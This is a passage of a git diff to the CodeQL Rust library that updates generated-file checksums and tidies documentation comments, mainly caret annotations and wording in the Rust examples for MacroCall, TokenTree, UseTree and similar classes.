80826a6a6868a803aa2372e31c52a03e1811a3f1f2abdb469f91ca0bfdd9ecb6 34ee1e208c1690cba505dff2c588837c0cd91e185e2a87d1fe673191962276a9 -lib/codeql/rust/elements/internal/generated/Raw.qll ea65a886bb8915a6c58ef6bf9900e457ad54df50cd16d901415267703047b6a8 bad7285d4604640cb3165fe25365d7325134d7ecf32953021d90dcff4763bcad +lib/codeql/rust/elements/internal/generated/Raw.qll 55ec0031a67964805e9dfb8d3190385e101178d1bcce1c4efd53d8f58d1cf0be d34faae700e7c2cb9e6eb2183244ff900a270c761676491d3ffe6a939903edd7 lib/codeql/rust/elements/internal/generated/RefExpr.qll 7d995884e3dc1c25fc719f5d7253179344d63650e217e9ff6530285fe7a57f64 f2c3c12551deea4964b66553fb9b6423ee16fec53bd63db4796191aa60dc6c66 lib/codeql/rust/elements/internal/generated/RefPat.qll 456ede39837463ee22a630ec7ab6c8630d3664a8ea206fcc6e4f199e92fa564c 5622062765f32930465ba6b170e986706f159f6070f48adee3c20e24e8df4e05 lib/codeql/rust/elements/internal/generated/RefTypeRepr.qll 5b0663a6d234572fb3e467e276d019415caa95ef006438cc59b7af4e1783161e 0e27c8a8f0e323c0e4d6db01fca821bf07c0864d293cdf96fa891b10820c1e4b @@ -610,7 +610,7 @@ lib/codeql/rust/elements/internal/generated/SourceFile.qll 4bc95c88b49868d1da1a8 lib/codeql/rust/elements/internal/generated/Static.qll 34a4cdb9f4a93414499a30aeeaad1b3388f2341c982af5688815c3b0a0e9c57b 3c8354336eff68d580b804600df9abf49ee5ee10ec076722089087820cefe731 lib/codeql/rust/elements/internal/generated/Stmt.qll 8473ff532dd5cc9d7decaddcd174b94d610f6ca0aec8e473cc051dad9f3db917 6ef7d2b5237c2dbdcacbf7d8b39109d4dc100229f2b28b5c9e3e4fbf673ba72b lib/codeql/rust/elements/internal/generated/StmtList.qll 816aebf8f56e179f5f0ba03e80d257ee85459ea757392356a0af6dbd0cd9ef5e 6aa51cdcdc8d93427555fa93f0e84afdfbbd4ffc8b8d378ae4a22b5b6f94f48b -lib/codeql/rust/elements/internal/generated/Struct.qll a84ffac73686806abe36ba1d3ba5ada479813e8c2cb89b9ac50889b4fa14e0a5 0c27cc91de44878f45f516ec1524e085e6a0cc94809b4c7d1b4ef3db2967341e +lib/codeql/rust/elements/internal/generated/Struct.qll 955c7e1e6453685fbc392e32514cf26a9aec948cecf9e62705ddc5c56c9dc97d cf47a9c53eebc0c7165985cd6120530b8a0fe965895d2293d01f7b95013c0102 lib/codeql/rust/elements/internal/generated/StructExpr.qll c6d861eaa0123b103fd9ffd2485423419ef9b7e0b4af9ed2a2090d8ec534f65d 50da99ee44771e1239ed8919f711991dd3ec98589fbe49b49b68c88074a07d74 lib/codeql/rust/elements/internal/generated/StructExprField.qll 6bdc52ed325fd014495410c619536079b8c404e2247bd2435aa7685dd56c3833 501a30650cf813176ff325a1553da6030f78d14be3f84fea6d38032f4262c6b0 lib/codeql/rust/elements/internal/generated/StructExprFieldList.qll 298d33442d1054922d2f97133a436ee559f1f35b7708523284d1f7eee7ebf443 7febe38a79fadf3dcb53fb8f8caf4c2780f5df55a1f8336269c7b674d53c6272 @@ -622,7 +622,7 @@ lib/codeql/rust/elements/internal/generated/StructPatFieldList.qll 1a95a1bd9f64f lib/codeql/rust/elements/internal/generated/Synth.qll eb248f4e57985ec8eabf9ed5cfb8ba8f5ebd6ca17fb712c992811bced0e342d4 bbcbdba484d3b977a0d6b9158c5fa506f59ced2ad3ae8239d536bf826bfb7e31 lib/codeql/rust/elements/internal/generated/SynthConstructors.qll bcc7f617b775ac0c7f04b1cc333ed7cc0bd91f1fabc8baa03c824d1df03f6076 bcc7f617b775ac0c7f04b1cc333ed7cc0bd91f1fabc8baa03c824d1df03f6076 lib/codeql/rust/elements/internal/generated/Token.qll 77a91a25ca5669703cf3a4353b591cef4d72caa6b0b9db07bb9e005d69c848d1 2fdffc4882ed3a6ca9ac6d1fb5f1ac5a471ca703e2ffdc642885fa558d6e373b -lib/codeql/rust/elements/internal/generated/TokenTree.qll a90ee34bfd9fa0e652ea293f2bc924a7b775698db2430f6c4ab94acce54bb4ca 3951509ad9c769eacc78a7ed978e91c6de79fc7d106206ebd0290b4a490ab4c5 +lib/codeql/rust/elements/internal/generated/TokenTree.qll 1a3c4f5f30659738641abdd28cb793dab3cfde484196b59656fc0a2767e53511 de2ebb210c7759ef7a6f7ee9f805e1cac879221287281775fc80ba34a5492edf lib/codeql/rust/elements/internal/generated/Trait.qll 8fa41b50fa0f68333534f2b66bb4ec8e103ff09ac8fa5c2cc64bc04beafec205 ce1c9aa6d0e2f05d28aab8e1165c3b9fb8e24681ade0cf6a9df2e8617abeae7e lib/codeql/rust/elements/internal/generated/TraitAlias.qll 40a296cf89eceaf02a32db90acb42bdc90df10e717bae3ab95bc09d842360a5b af85cf1f8fa46a8b04b763cdcacc6643b83c074c58c1344e485157d2ceb26306 lib/codeql/rust/elements/internal/generated/TryExpr.qll 73052d7d309427a30019ad962ee332d22e7e48b9cc98ee60261ca2df2f433f93 d9dd70bf69eaa22475acd78bea504341e3574742a51ad9118566f39038a02d85 @@ -645,12 +645,12 @@ lib/codeql/rust/elements/internal/generated/Union.qll 0d5528d9331cc7599f0c7bc4d2 lib/codeql/rust/elements/internal/generated/Use.qll cf95b5c4756b25bee74113207786e37464ffbc0fb5f776a04c651300afc53753 1fe26b3904db510184cb688cb0eeb0a8dbac7ac15e27a3b572d839743c738393 lib/codeql/rust/elements/internal/generated/UseBoundGenericArg.qll 69162794e871291545ea04f61259b2d000671a96f7ca129f7dd9ed6e984067c4 31de9ebc0634b38e2347e0608b4ea888892f1f2732a2892464078cd8a07b4ee8 lib/codeql/rust/elements/internal/generated/UseBoundGenericArgs.qll 2cc8ab0068b7bf44ca17a62b32a8dd1d89cd743532c8a96b262b164fd81b0c36 347e7709a0f5ace197beb6827f6cf04a31ff68ff2dff3707914c6b910658d00a -lib/codeql/rust/elements/internal/generated/UseTree.qll 4e9ee129b4d2007143321185dd3d0633afa8002778a4b908928ee415c6663d31 bf6d3403e483b1bd6ceb269c05d6460327f61dd9b28022f1d95f9e9c9b893c27 -lib/codeql/rust/elements/internal/generated/UseTreeList.qll 592187a0e131e92ebec9630b4043766511e6146ef1811762b4a65f7c48e2a591 331eeacf1fff6f4150adda197ed74cbf43ce1d19206105a6b7ee58875c8ef4f5 +lib/codeql/rust/elements/internal/generated/UseTree.qll 3d7cbcc8ae76068b8f660c7d5b81b05595026043015cd6b4d42a60ed4c165811 b9f0bcf82feb31f31406e787670fee93e1aa0966bcc0e4cc285c342e88793e4e +lib/codeql/rust/elements/internal/generated/UseTreeList.qll 38efaa569b76ca79be047703279388e8f64583a126b98078fbbb6586e0c6eb56 1623a50fd2d3b1e4b85323ad73dd655172f7cbc658d3506aaa6b409e9ebe576e lib/codeql/rust/elements/internal/generated/Variant.qll 56ef12f3be672a467b443f8e121ba075551c88fe42dd1428e6fa7fc5affb6ec2 fd66722fd401a47305e0792458528a6af2437c97355a6a624727cf6632721a89 lib/codeql/rust/elements/internal/generated/VariantDef.qll 3a579b21a13bdd6be8cddaa43a6aa0028a27c4e513caa003a6304e160fc53846 1ca1c41ed27660b17fbfb44b67aa8db087ea655f01bac29b57bb19fa259d07a2 lib/codeql/rust/elements/internal/generated/VariantList.qll 3f70bfde982e5c5e8ee45da6ebe149286214f8d40377d5bc5e25df6ae8f3e2d1 22e5f428bf64fd3fd21c537bfa69a46089aad7c363d72c6566474fbe1d75859e -lib/codeql/rust/elements/internal/generated/Visibility.qll d1e46025a2c36f782c3b4ec06ad6a474d39d192b77ebf0dfced178dc2ca439b6 61fc3276a394b4a201f7d59f5ddf24850612546ce4041c3204a80d3db3d99662 +lib/codeql/rust/elements/internal/generated/Visibility.qll af1069733c0120fae8610b3ebbcdcebe4b4c9ce4c3e3d9be3f82a93541873625 266106bdff4d7041d017871d755c011e7dd396c5999803d9e46725b6a03a2458 lib/codeql/rust/elements/internal/generated/WhereClause.qll aec72d358689d99741c769b6e8e72b92c1458138c097ec2380e917aa68119ff0 81bb9d303bc0c8d2513dc7a2b8802ec15345b364e6c1e8b300f7860aac219c36 lib/codeql/rust/elements/internal/generated/WherePred.qll 9aa63abdf1202ee4708e7413401811d481eac55ba576a4950653395f931d1e90 ebb9f2883f811ea101220eac13d02d2893d2ec0231a29826a32b77cb2c88a5f8 lib/codeql/rust/elements/internal/generated/WhileExpr.qll 0353aab87c49569e1fbf5828b8f44457230edfa6b408fb5ec70e3d9b70f2e277 e1ba7c9c41ff150b9aaa43642c0714def4407850f2149232260c1a2672dd574a diff --git a/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll b/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll index 39daeb791fe..cfa37ed4539 100644 --- a/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll +++ b/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll @@ -1833,7 +1833,6 @@ module MakeCfgNodes Input> { * For example: * ```rust * println!("Hello, world!"); - * //^^^^^^^ * ``` */ final class MacroCallCfgNode extends CfgNodeFinal { diff --git a/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll index ab0129ed0e0..c52c92197bb 100644 --- a/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll @@ -8,7 +8,7 @@ import codeql.rust.elements.GenericParamList import codeql.rust.elements.TypeRepr /** - * A higher-ranked trait bound(HRTB) type. + * A higher-ranked trait bound. * * For example: * ```rust diff --git a/rust/ql/lib/codeql/rust/elements/MacroCall.qll b/rust/ql/lib/codeql/rust/elements/MacroCall.qll index a458a201f61..7b8a591bb62 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroCall.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroCall.qll @@ -18,7 +18,6 @@ import codeql.rust.elements.TokenTree * For example: * ```rust * println!("Hello, world!"); - * //^^^^^^^ * ``` */ final class MacroCall = Impl::MacroCall; diff --git a/rust/ql/lib/codeql/rust/elements/NameRef.qll b/rust/ql/lib/codeql/rust/elements/NameRef.qll index 2fdd25ae089..0ca979140ae 100644 --- a/rust/ql/lib/codeql/rust/elements/NameRef.qll +++ b/rust/ql/lib/codeql/rust/elements/NameRef.qll @@ -11,7 +11,7 @@ import codeql.rust.elements.UseBoundGenericArg * * For example: * ```rust - * foo(); + * foo(); * //^^^ * ``` */ diff --git a/rust/ql/lib/codeql/rust/elements/ParenExpr.qll b/rust/ql/lib/codeql/rust/elements/ParenExpr.qll index f3d9936a97d..1233ac2b6af 100644 --- a/rust/ql/lib/codeql/rust/elements/ParenExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/ParenExpr.qll @@ -13,7 +13,6 @@ import codeql.rust.elements.Expr * For example: * ```rust * (x + y) - * //^^^^^ * ``` */ final class ParenExpr = Impl::ParenExpr; diff --git a/rust/ql/lib/codeql/rust/elements/Struct.qll b/rust/ql/lib/codeql/rust/elements/Struct.qll index 19f81db74e6..9b57316e0ec 100644 --- a/rust/ql/lib/codeql/rust/elements/Struct.qll +++ b/rust/ql/lib/codeql/rust/elements/Struct.qll @@ -17,7 +17,7 @@ import codeql.rust.elements.WhereClause * A Struct. For example: * ```rust * struct Point { - * x: i32, + * x: i32, * y: i32, * } * ``` diff --git a/rust/ql/lib/codeql/rust/elements/TokenTree.qll b/rust/ql/lib/codeql/rust/elements/TokenTree.qll index de34cbc112e..19c3901eda0 100644 --- a/rust/ql/lib/codeql/rust/elements/TokenTree.qll +++ b/rust/ql/lib/codeql/rust/elements/TokenTree.qll @@ -14,9 +14,9 @@ import codeql.rust.elements.AstNode * println!("{} {}!", "Hello", "world"); * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` - * ``` + * ```rust * macro_rules! foo { ($x:expr) => { $x + 1 }; } - * // ^^^^^^^^^^^^^^^^^^^^^^^ + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` */ final class TokenTree = Impl::TokenTree; diff --git a/rust/ql/lib/codeql/rust/elements/UseTree.qll b/rust/ql/lib/codeql/rust/elements/UseTree.qll index 049931c1648..fe483cb0d05 100644 --- a/rust/ql/lib/codeql/rust/elements/UseTree.qll +++ b/rust/ql/lib/codeql/rust/elements/UseTree.qll @@ -10,7 +10,7 @@ import codeql.rust.elements.Rename import codeql.rust.elements.UseTreeList /** - * A `use` tree, ie the part after the `use` keyword in a `use` statement. For example: + * A `use` tree, that is, the part after the `use` keyword in a `use` statement. For example: * ```rust * use std::collections::HashMap; * use std::collections::*; diff --git a/rust/ql/lib/codeql/rust/elements/UseTreeList.qll b/rust/ql/lib/codeql/rust/elements/UseTreeList.qll index 7c4c5977aec..dc44daf3914 100644 --- a/rust/ql/lib/codeql/rust/elements/UseTreeList.qll +++ b/rust/ql/lib/codeql/rust/elements/UseTreeList.qll @@ -13,7 +13,7 @@ import codeql.rust.elements.UseTree * For example: * ```rust * use std::{fs, io}; - * // ^^^^^^^ + * // ^^^^^^^^ * ``` */ final class UseTreeList = Impl::UseTreeList; diff --git a/rust/ql/lib/codeql/rust/elements/Visibility.qll b/rust/ql/lib/codeql/rust/elements/Visibility.qll index 5562c1b3d73..9fd60b6ba27 100644 --- a/rust/ql/lib/codeql/rust/elements/Visibility.qll +++ b/rust/ql/lib/codeql/rust/elements/Visibility.qll @@ -12,7 +12,7 @@ import codeql.rust.elements.Path * * For example: * ```rust - * pub struct S; + * pub struct S; * //^^^ * ``` */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll index 79700085b94..f555c664963 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll @@ -13,7 +13,7 @@ private import codeql.rust.elements.internal.generated.ForTypeRepr */ module Impl { /** - * A higher-ranked trait bound(HRTB) type. + * A higher-ranked trait bound. * * For example: * ```rust diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll index dacb8b3a707..cac1d71dd1e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll @@ -27,7 +27,6 @@ module Impl { * For example: * ```rust * println!("Hello, world!"); - * //^^^^^^^ * ``` */ class MacroCall extends Generated::MacroCall { diff --git a/rust/ql/lib/codeql/rust/elements/internal/NameRefImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/NameRefImpl.qll index 8f7260bfd08..d42c416ed17 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/NameRefImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/NameRefImpl.qll @@ -17,7 +17,7 @@ module Impl { * * For example: * ```rust - * foo(); + * foo(); * //^^^ * ``` */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/ParenExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ParenExprImpl.qll index e86589b6040..e8c800bc9b8 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ParenExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ParenExprImpl.qll @@ -18,7 +18,6 @@ module Impl { * For example: * ```rust * (x + y) - * //^^^^^ * ``` */ class ParenExpr extends Generated::ParenExpr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll index 157ffe0b034..3b6fc1ee4ea 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll @@ -17,7 +17,7 @@ module Impl { * A Struct. For example: * ```rust * struct Point { - * x: i32, + * x: i32, * y: i32, * } * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/TokenTreeImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TokenTreeImpl.qll index c785371f999..15e9c15abe1 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TokenTreeImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TokenTreeImpl.qll @@ -20,9 +20,9 @@ module Impl { * println!("{} {}!", "Hello", "world"); * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` - * ``` + * ```rust * macro_rules! foo { ($x:expr) => { $x + 1 }; } - * // ^^^^^^^^^^^^^^^^^^^^^^^ + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` */ class TokenTree extends Generated::TokenTree { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll index 6b42cb6fa89..027174e5994 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll @@ -13,7 +13,7 @@ private import codeql.rust.elements.internal.generated.UseTree module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A `use` tree, ie the part after the `use` keyword in a `use` statement. For example: + * A `use` tree, that is, the part after the `use` keyword in a `use` statement. For example: * ```rust * use std::collections::HashMap; * use std::collections::*; diff --git a/rust/ql/lib/codeql/rust/elements/internal/UseTreeListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UseTreeListImpl.qll index dff1bb12233..d5f86f1ba3a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/UseTreeListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/UseTreeListImpl.qll @@ -18,7 +18,7 @@ module Impl { * For example: * ```rust * use std::{fs, io}; - * // ^^^^^^^ + * // ^^^^^^^^ * ``` */ class UseTreeList extends Generated::UseTreeList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/VisibilityImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/VisibilityImpl.qll index 356d3f11d04..21de0c88ca8 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/VisibilityImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/VisibilityImpl.qll @@ -17,7 +17,7 @@ module Impl { * * For example: * ```rust - * pub struct S; + * pub struct S; * //^^^ * ``` */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll index c7dc7380c3c..cbe2975bf50 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll @@ -16,7 +16,7 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A higher-ranked trait bound(HRTB) type. + * A higher-ranked trait bound. * * For example: * ```rust diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll index 4b4b1707e54..94b9c13e789 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll @@ -25,7 +25,6 @@ module Generated { * For example: * ```rust * println!("Hello, world!"); - * //^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::MacroCall` class directly. * Use the subclass `MacroCall`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/NameRef.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/NameRef.qll index 5835c078827..f22dbdf5e22 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/NameRef.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/NameRef.qll @@ -18,7 +18,7 @@ module Generated { * * For example: * ```rust - * foo(); + * foo(); * //^^^ * ``` * INTERNAL: Do not reference the `Generated::NameRef` class directly. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenExpr.qll index 12b018506fb..560398ca7f2 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenExpr.qll @@ -21,7 +21,6 @@ module Generated { * For example: * ```rust * (x + y) - * //^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ParenExpr` class directly. * Use the subclass `ParenExpr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll index 6c49996707d..c5344d351d4 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll @@ -1184,9 +1184,9 @@ module Raw { * println!("{} {}!", "Hello", "world"); * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` - * ``` + * ```rust * macro_rules! foo { ($x:expr) => { $x + 1 }; } - * // ^^^^^^^^^^^^^^^^^^^^^^^ + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` */ class TokenTree extends @token_tree, AstNode { @@ -1319,7 +1319,7 @@ module Raw { /** * INTERNAL: Do not use. - * A `use` tree, ie the part after the `use` keyword in a `use` statement. For example: + * A `use` tree, that is, the part after the `use` keyword in a `use` statement. For example: * ```rust * use std::collections::HashMap; * use std::collections::*; @@ -1358,7 +1358,7 @@ module Raw { * For example: * ```rust * use std::{fs, io}; - * // ^^^^^^^ + * // ^^^^^^^^ * ``` */ class UseTreeList extends @use_tree_list, AstNode { @@ -1400,7 +1400,7 @@ module Raw { * * For example: * ```rust - * pub struct S; + * pub struct S; * //^^^ * ``` */ @@ -2252,7 +2252,7 @@ module Raw { /** * INTERNAL: Do not use. - * A higher-ranked trait bound(HRTB) type. + * A higher-ranked trait bound. * * For example: * ```rust @@ -2799,7 +2799,7 @@ module Raw { * * For example: * ```rust - * foo(); + * foo(); * //^^^ * ``` */ @@ -2895,7 +2895,6 @@ module Raw { * For example: * ```rust * (x + y) - * //^^^^^ * ``` */ class ParenExpr extends @paren_expr, Expr { @@ -4008,7 +4007,6 @@ module Raw { * For example: * ```rust * println!("Hello, world!"); - * //^^^^^^^ * ``` */ class MacroCall extends @macro_call, AssocItem, ExternItem, Item { @@ -4264,7 +4262,7 @@ module Raw { * A Struct. For example: * ```rust * struct Point { - * x: i32, + * x: i32, * y: i32, * } * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll index fdd28cb8de7..6776d9a8007 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll @@ -24,7 +24,7 @@ module Generated { * A Struct. For example: * ```rust * struct Point { - * x: i32, + * x: i32, * y: i32, * } * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TokenTree.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TokenTree.qll index bd30d475a26..258a730ec64 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TokenTree.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TokenTree.qll @@ -21,9 +21,9 @@ module Generated { * println!("{} {}!", "Hello", "world"); * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` - * ``` + * ```rust * macro_rules! foo { ($x:expr) => { $x + 1 }; } - * // ^^^^^^^^^^^^^^^^^^^^^^^ + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::TokenTree` class directly. * Use the subclass `TokenTree`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/UseTree.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/UseTree.qll index f7cd7533582..7279c4e9c44 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/UseTree.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/UseTree.qll @@ -17,7 +17,7 @@ import codeql.rust.elements.UseTreeList */ module Generated { /** - * A `use` tree, ie the part after the `use` keyword in a `use` statement. For example: + * A `use` tree, that is, the part after the `use` keyword in a `use` statement. For example: * ```rust * use std::collections::HashMap; * use std::collections::*; diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/UseTreeList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/UseTreeList.qll index fa45430d09b..bb21ec82936 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/UseTreeList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/UseTreeList.qll @@ -20,7 +20,7 @@ module Generated { * For example: * ```rust * use std::{fs, io}; - * // ^^^^^^^ + * // ^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::UseTreeList` class directly. * Use the subclass `UseTreeList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Visibility.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Visibility.qll index 0bffcca7b06..340f53af63c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Visibility.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Visibility.qll @@ -19,7 +19,7 @@ module Generated { * * For example: * ```rust - * pub struct S; + * pub struct S; * //^^^ * ``` * INTERNAL: Do not reference the `Generated::Visibility` class directly. diff --git a/rust/ql/test/extractor-tests/generated/.generated_tests.list b/rust/ql/test/extractor-tests/generated/.generated_tests.list index 53bb0fdc74f..a4fab823b03 100644 --- a/rust/ql/test/extractor-tests/generated/.generated_tests.list +++ b/rust/ql/test/extractor-tests/generated/.generated_tests.list @@ -42,7 +42,7 @@ ExternItemList/gen_extern_item_list.rs f9a03ddf20387871b96994915c9a725feb333d061 FieldExpr/gen_field_expr.rs 9a70500d592e0a071b03d974a55558b3bc0df531ff11bce5898feb36e17ffd8b 9a70500d592e0a071b03d974a55558b3bc0df531ff11bce5898feb36e17ffd8b FnPtrTypeRepr/gen_fn_ptr_type_repr.rs c154ec0cc43236d133f6b946374f3063b89e5cbf9e96d9ee66877be4f948888e c154ec0cc43236d133f6b946374f3063b89e5cbf9e96d9ee66877be4f948888e ForExpr/gen_for_expr.rs 003dc36e3dc4db6e3a4accd410c316f14334ba5b3d5d675c851a91dcd5185122 003dc36e3dc4db6e3a4accd410c316f14334ba5b3d5d675c851a91dcd5185122 -ForTypeRepr/gen_for_type_repr.rs 387b8e7bb9d548e822e5e62b29774681e39fb816f3f42f951674e98fc542f667 387b8e7bb9d548e822e5e62b29774681e39fb816f3f42f951674e98fc542f667 +ForTypeRepr/gen_for_type_repr.rs 86f2f11f399d8072add3d3109a186d82d95d141660b18986bce738b7e9ec81a2 86f2f11f399d8072add3d3109a186d82d95d141660b18986bce738b7e9ec81a2 FormatArgsExpr/gen_format.rs e9d8e7b98d0050ad6053c2459cb21faab00078e74245336a5962438336f76d33 e9d8e7b98d0050ad6053c2459cb21faab00078e74245336a5962438336f76d33 FormatArgsExpr/gen_format_args_arg.rs 53ffd6abe4cd899c57d1973b31df0edc1d5eaa5835b19172ec4cda15bb3db28f 53ffd6abe4cd899c57d1973b31df0edc1d5eaa5835b19172ec4cda15bb3db28f FormatArgsExpr/gen_format_args_expr.rs 72c806ed163e9dcce2d0c5c8664d409b2aa635c1022c91959f9e8ae084f05bf2 72c806ed163e9dcce2d0c5c8664d409b2aa635c1022c91959f9e8ae084f05bf2 @@ -68,7 +68,7 @@ LiteralExpr/gen_literal_expr.rs 2db01ad390e5c0c63a957c043230a462cb4cc25715eea6ed LiteralPat/gen_literal_pat.rs a471b481b6989001817a3988696f445d9a4dea784e543c346536dacbee1e96f3 a471b481b6989001817a3988696f445d9a4dea784e543c346536dacbee1e96f3 LoopExpr/gen_loop_expr.rs 35deaf35e765db4ae3124a11284266d8f341d1ce7b700030efada0dda8878619 35deaf35e765db4ae3124a11284266d8f341d1ce7b700030efada0dda8878619 MacroBlockExpr/gen_macro_block_expr.rs 2e45dcf44bf2e8404b49ce9abeee4931572693174b5d96f3fd81eb40ea8e7b4b 2e45dcf44bf2e8404b49ce9abeee4931572693174b5d96f3fd81eb40ea8e7b4b -MacroCall/gen_macro_call.rs 0bbfb1f41c627583214ab80c94a7467fdb353862634510d4d00b93c6f30ef79b 0bbfb1f41c627583214ab80c94a7467fdb353862634510d4d00b93c6f30ef79b +MacroCall/gen_macro_call.rs c30added613d9edb3cb1321ae46fc6a088a2f22d2cc979119466ec02f6e09ed6 c30added613d9edb3cb1321ae46fc6a088a2f22d2cc979119466ec02f6e09ed6 MacroDef/gen_macro_def.rs 6f895ecab8c13a73c28ce67fcee39baf7928745a80fb440811014f6d31b22378 6f895ecab8c13a73c28ce67fcee39baf7928745a80fb440811014f6d31b22378 MacroExpr/gen_macro_expr.rs 5e1748356f431eea343a2aad2798c22073151940ea2cda0f0cce78c3d96104f0 5e1748356f431eea343a2aad2798c22073151940ea2cda0f0cce78c3d96104f0 MacroItems/gen_macro_items.rs c00f8045d9a7d6562da1d0136b335b685e2ec5dbd708763faa24a752e89feda4 c00f8045d9a7d6562da1d0136b335b685e2ec5dbd708763faa24a752e89feda4 @@ -83,13 +83,13 @@ Meta/gen_meta.rs 39172a1f7dd02fa3149e7a1fc1dc1f135aa87c84057ee721cd9b373517042b2 MethodCallExpr/gen_method_call_expr.rs f2b4679eb1ec095981fe6bd656b632c22bf6bd0da133309da3f7ef5bd1ab4b5d 